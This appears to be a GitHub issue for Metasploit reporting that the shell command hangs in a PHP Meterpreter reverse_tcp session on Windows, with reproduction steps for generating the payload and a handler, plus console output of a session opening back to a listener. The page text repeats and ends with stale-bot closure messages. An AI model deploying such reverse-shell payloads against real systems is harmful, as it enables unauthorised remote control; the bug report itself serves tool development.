You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The Meterpreter session is established and works with commands like getuid, sysinfo, ls, ps, etc.
However, when starting a shell with the shell command, it hangs when entering shell commands (timeout).
Expected behavior
Shell commands should execute correctly.
Current behavior
msf6 payload(php/meterpreter/reverse_tcp) >
[*] Sending stage (39927 bytes) to 192.168.100.146
[*] Meterpreter session 5 opened (192.168.100.1:4444 -> 192.168.100.146:50581) at 2023-08-02 14:44:24 +0200
msf6 payload(php/meterpreter/reverse_tcp) > sessions -i 5
[*] Starting interaction with 5...
meterpreter > sysinfo
Computer : WIN112H22
OS : Windows NT WIN112H22 10.0 build 22621 (Windows 11) AMD64
Meterpreter : php/windows
meterpreter > getuid
Server username:
meterpreter > shell
Process 10328 created.
Channel 0 created.
Microsoft Windows [Version 10.0.22621.1555]
(c) Microsoft Corporation. All rights reserved.
C:\php>ls
---- [hang] ----
Terminate channel 0? [y/N] y
[-] Error running command shell: Rex::TimeoutError Send timed out
I was able to reproduce this issue on both Windows Server 2016 with PHP version 7.4.3 and Windows 11 22H2 with PHP version 8.9.0.
The original PR where this problem was reported: #18211
The text was updated successfully, but these errors were encountered:
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
It’s been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Steps to reproduce
How'd you do it?
use php/meterpreter/reverse_tcp
set lhost <local IP>
generate -f raw
to_handler
On the Windows target:
cmd
)php.exe -a
The Meterpreter session is established and works with commands like
getuid
,sysinfo
,ls
,ps
, etc.However, when starting a shell with the
shell
command, it hangs when entering shell commands (timeout).Expected behavior
Shell commands should execute correctly.
Current behavior
Metasploit version
Additional Information
I was able to reproduce this issue on both Windows Server 2016 with PHP version 7.4.3 and Windows 11 22H2 with PHP version 8.9.0.
The original PR where this problem was reported: #18211
The text was updated successfully, but these errors were encountered: